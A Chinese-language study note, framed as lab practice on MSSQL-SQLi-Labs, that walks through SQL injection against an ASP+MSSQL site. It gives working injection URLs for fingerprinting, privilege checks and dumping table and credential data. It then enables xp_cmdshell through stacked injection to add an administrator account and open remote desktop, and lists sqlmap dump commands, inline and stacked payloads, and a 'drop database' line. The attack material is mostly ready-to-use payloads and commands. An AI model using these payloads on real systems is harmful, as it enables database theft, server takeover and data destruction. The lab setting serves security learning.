(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
该笔记参考网络中的文章,本文仅为了学习交流,严禁非法使用!!!
一、MSSQL手工注入
- 测试使用Windows Server 2008 R2 中使用IIS搭建的MSSQL-SQLi-Labs站点的第一关(该站点可在Github中找到)
攻击者:Windows 10系统(宿主机)
靶机:Windows Server 2008 R2(虚拟机)
1.判断注入点:
http://IP:PORT/less-1.asp?id='
- 根据回显可知数据类型为字符型
http://IP:PORT/less-1.asp?id=1'--
- 正常执行
2.判断数据库类型
1 select * from sysobjects 2 sysobjects:MSSQL数据库特有的数据表,系统对象表,保存当前数据库的对象 3 select * from users where id=1 and exists(select * from sysobjects) 4 Exists():子语句查询,Exists方法返回一个布尔值,该布尔值指示在 Dictionary 对象中是否存在指定的 key,如果存在,返回 true,否则返回 false
http://IP:PORT/less-1.asp?id=5' and exists(select * from sysobjects)--
- 正常执行,说明后台数据库是MSSQL
-
其他方法判断数据库:常用框架组合方法ASP+MSSQL、页面报错信息
3.注入点权限的判断(根据页面显示效果)
1 select is_srvrolemember('sysadmin'); 判断当前是否为sa 2 select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner) 3 select is_srvrolemember('public'); 判断是否有public权限,可以爆破表
- 以上正确执行后返回值都为1
- 判断当前是否为sa
1 http://IP:PORT/less-1.asp?id=5' and exists(select is_srvrolemember('sysadmin'))-- 2 或http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('sysadmin'))>0--
- 判断当前用户写文件、读文件的权限
http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('db_owner'))>0--
4.信息收集
- 查看当前数据库
1 select db_name(N) 表示当前数据库,其中的参数表示第N个数据库,从0开始 2 http://IP:PORT/less-1.asp?id=5' and (select db_name())>0-- 3 或http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name()))>0-- 4 convert转换,将db_name()的数据类型转换为int型
- 查看所有数据库
- 方法1:
http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name(N)))>0--//变换N的值就可以爆出所有数据库的名称
-
- 方法2:
1 SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms'); 2 Master系统数据库 3 SELECT top 1 Name FROM Master..SysDatabases 在系统数据库中能够查询所有的数据库 4 where name not in ('master','aspcms') 表示查询的结果不在括号中的集合里 5 http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases)>0--
http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0-- 可依次添加每次爆出的数据就可以报错所有数据库
- 查看数据库版本
1 select @@version 2 http://IP:PORT/less-1.asp?id=5' and (select @@version)>0-- 3 或http://IP:PORT/less-1.asp?id=5' and (select @@version)=1--
- 查看当前用户
1 user 2 http://IP:PORT/less-1.asp?id=5' and (user)>0--
-
这里的用户dbo就等于databaseown,即sa用户
5.当前数据库中的表
1 select top 1 name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0 2 select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 获取第一个表名 3 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--
1 select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents') 2 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--
6.获取指定表中的字段名
1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' 2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users')>0--
1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username') 2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--
7.获取字段数据
1 select top 1 username from users 2 http://IP:PORT/less-1.asp?id=5' and (select top 1 username from users)>0--
http://IP:PORT/less-1.asp?id=5' and (select top 1 password from users)>0--
8.解密数据,登录后台
二、使用MSSQL的xp_cmdshell扩展
xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出
1.判断当前MSSQL数据库有没有xp_cmdshell扩展,返回值为1,表示有扩展
select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'
2.测试是否可执行系统命令
1 exec master..xp_cmdshell 'net user' 2 exec master.dbo.xp_cmdshell 'net user' 3 exec表示要执行系统命令
- 上图显示的错误解决方法:
- 执行以下语句
1 EXEC sp_configure 'show advanced options', 1; 2 RECONFIGURE; 3 EXEC sp_configure 'xp_cmdshell', 1; 4 RECONFIGURE;
-
- 代码功能:
EXEC sp_configure 'show advanced options' , 1 sp_configure 是修改系统配置的存储过程,当设置 show advanced options 参数为 1 时,才允许修改系统配置中的某些高级选相!!系统中这些高级选项默认是不允许修改的!('xp_cmdshell' 是高级选项参数之一! ) RECONFIGURE 提交第一步操作并更新使用 sp_configure 系统存储过程更改的配置选项的当前配置 EXEC sp_configure 'xp_cmdshell' ,1 执行系统存储过程 修改 高级选项 参数'xp_cmdshell' 等于1,这个参数等于1 表示允许sqlserver 调用数据库之外的操作系统命令 RECONFIGURE 提交更新第三步的操作 |
- 代码成功执行
三、利用MSSQL的xp_cmdshell扩展获取服务器权限
1.判断当前MSSQL数据库有没有xp_cmdshell扩展
1 http://IP:PORT/less-1.asp?id=5' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')>0--
2.利用xp_cmdshell扩展执行系统命令
1 exec master..xp_cmdshell 'net user' exec需要独立使用,利用堆叠注入 2 http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user'--
- 命令执行之后在浏览器中是没有正常回显的,这里只要没有报错,就说明命令执行成功,如果想看到执行命令之后的结果,需要创建一个临时表,将执行结果写入,最后再读
3.创建一个新用户kiko
http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user kiko 密码 /add'--
- 进入靶机系统中,查看创建用户是否成功
4.将用户kiko添加到管理员组中
http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net localgroup administrators kiko /add'--
- 进入靶机中,命令执行成功
5.开启靶机3389端口
http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'--
6.启动远程桌面连接,过程如下:
- 连接成功!
四、使用SQLMAP对MSSQL注入漏洞进行利用
- 测试使用MSSQL-SQLi-Labs站点的第二关
1.检测注入点
1 sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" 2 --drop-set-cookie 忽略响应的Set – Cookie头信息
- 翻译:
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDACCBASBD=DONJPCHBLHK...DHGDOIMHLL'). Do you want to use those [Y/n] y 您尚未声明cookie,而服务器希望设置自己的cookie('aspsessionidaccbasbd=donjpchblhk…dhgdoimhl')。你想用那些吗 are you sure that you want to continue with further target testing? [Y/n] y 是否确实要继续进行进一步的目标测试?[是/否]是 it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y 看起来后端DBMS是“Microsoft SQL Server”。是否要跳过特定于其他dbms的测试有效负载?[是/否]是 for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] y 对于其余的测试,是否要包括对扩展提供的级别(1)和风险(1)值的“Microsoft SQL Server”的所有测试[是/否]是 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y 获取参数“id”易受攻击。你想继续测试其他的(如果有的话)吗?[是/否]是 |
2.获取数据库所有信息
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump 将数据库里所有的数据全部显示
- 翻译:
[00:27:45] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with '--force-pivoting' [00:27:45][WARNING]如果出现表转储问题(例如列输入顺序),建议您使用“--force pivoting”重新运行 |
- 根据回显得知出现表转储问题,所以数据表users中显示数据为空
- 根据提示在命令后加入--force pivoting
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump --force-pivoting
五、利用SQLMAP进行内联注入
1.内联注入:向查询注入一些SQL代码后,原来的查询仍然会全部执行
1 select id from (select 1 as id)a; 2 select * from T1,T3 where T1.userid=T3.userid
2.利用过程:
- 使用SQLMAP进行注入点检测时,结果显示可以使用内联注入(inline query),并给了Payload
- 利用所给Payload进行注入
http://IP:PORT/less-2.asp?id=(select char(113)+char(113)+char(112)+char(112)+char(113)+(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113))
- 在MSSQL中执行该Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113)
- 在MySQL中执行该Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113);
select * from dvwa.users where user_id=1 and (select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113));
六、利用SQLMAP进行堆叠注入
1.堆叠注入:将一堆SQL语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行
select * from news;select 1,2,3,4,user(),version();
2.利用过程:
- 使用SQLMAP进行注入点检测时,结果显示可以使用堆叠注入(stacked queries),并给了Payload
- 利用所给Payload进行注入
http://IP:PORT/less-2.asp?id=1 WAITFOR DELAY '0:0:5'
- 慎用如下所示命令
http://IP:PORT/less-2.asp?id=1;drop database 数据库名 删除数据库